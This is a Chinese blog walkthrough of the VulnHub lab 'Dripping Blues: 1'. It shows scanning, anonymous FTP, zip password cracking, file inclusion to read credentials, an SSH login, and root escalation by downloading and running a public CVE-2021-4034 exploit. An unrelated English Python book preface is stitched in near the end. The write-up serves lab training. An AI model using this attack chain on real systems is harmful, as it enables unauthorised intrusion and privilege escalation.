vulnhub靶场-DRIPPING BLUES: 1

环境信息

攻击机:192.168.20.16

靶机:192.168.20.136

渗透过程

主机发现

arp-scan -l

端口扫描

nmap -T4 -sV -p- -A 192.168.20.136

开放了21,22,80端口,开放了ftp服务,ssh服务,web服务

21端口

FTP服务有时可以使用anonymous用户进行无密码登录

所以我们尝试是否能登陆进去

ftp 192.168.20.136

登录后ls查看一下目录里有一个respectmydrip.zip文件

将文件下载到本地

get respectmydrip.zip

压缩包加压需要密码,先收集其他信息

80端口

访问80端口有两个用户travisscott和thugger

通过目录扫描发现robots.txt路径

得到两个路径dripisreal.txt和/etc/dripispowerful.html分别进行访问

dripisreal.txt中得到的信息发现不出来什么信息

/etc/dripispowerful.html无法访问,在看地址怀疑有文件包含

fcrackzip密码破解

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip

对respectmydrip.zip进行密码暴力破解

解压之后获得respectmydrip.txt文件和secret.zip文件,respectmydrip.txt文件是一条信息:just focus on "drip"。secret.zip文件同样需要密码,但是这个未破解出来。

文件包含漏洞

尝试利用文件包含漏洞,用fileinclude包含html文件,均失败了,想到刚刚在压缩包文件下的内容just focus on "drip",于是用drip进行文件包含

看到密码是imdrippinbiatch还提示用户是travisscott和thugger,这个时候尝试连接ssh服务

ssh服务

在包含etc/passwd文件时发现了thugger用户,我们尝试用此用户连接ssh

ssh thugger@192.168.20.136

id查看一个权限

ls查看本目录中的文件,发现user.txt

cat user.txt

打开发现第一个flag

提权

输入命令:sudo -l查看下当前可以使用的特权命令有哪些,显示不存在

find / -perm -4000 -type f 2>/dev/null

查看下具有root权限的文件,发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1,可以使用CVE-2021-4034漏洞进行提权

wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021-4034.py

提权成功后,使用id命令查看权限为root,进入到主目录cd /,查看到root目录下有root.txt文件,进行打开cat root.txt,得到第二个flag

结束

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Preface P ython is an object-oriented, interpreted programming language useful for a wide range of tasks, from small scripts to entire applications. It is freely avail- able in binary or source code form and can be used royalty-free on all major plat- forms including Windows, Macintosh, Linux, FreeBSD, and Solaris. Compared with most programming languages, Python is very easy to learn and is considered by many to be the language of choice for beginning programmers. Instead of outgrowing the language, however, experienced developers enjoy lower maintenance costs without missing out on any features found in other major lan- guages such as C++, Java, or Perl. Python is well known for its usefulness as a rapid application development tool, and we often hear of Python projects that finish in hours or days instead of the weeks or months that would have been required with traditional programming lan- guages. It boasts a rich, full-featured set of standard libraries as well as the ability to interface with libraries in other languages like C++. Despite being incredibly powerful and enabling very rapid application develop- ment, the real reason we love to use Python is that it’s just plain fun. Python is like a lever—with it, you can do some pretty heavy lifting with very little effort. It frees you from lots of annoying, mundane work, and before long you begin to wonder how you endured your pre-Python days. About This Book Although Python is a great first programming language, in this book we do assume that you already have some programming experience. The first section of the book introduces you to Python and tells you everything you need to know to get started. If you’re new to Python, then that section is definitely the place to start; otherwise, it serves as a useful language reference with many examples. We’ve worked hard to ensure that the book works well as a quick reference. Often the quickest way to understand a feature is to see it in use: Flip through the book’s pages and you’ll see that they are dripping with code examples.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值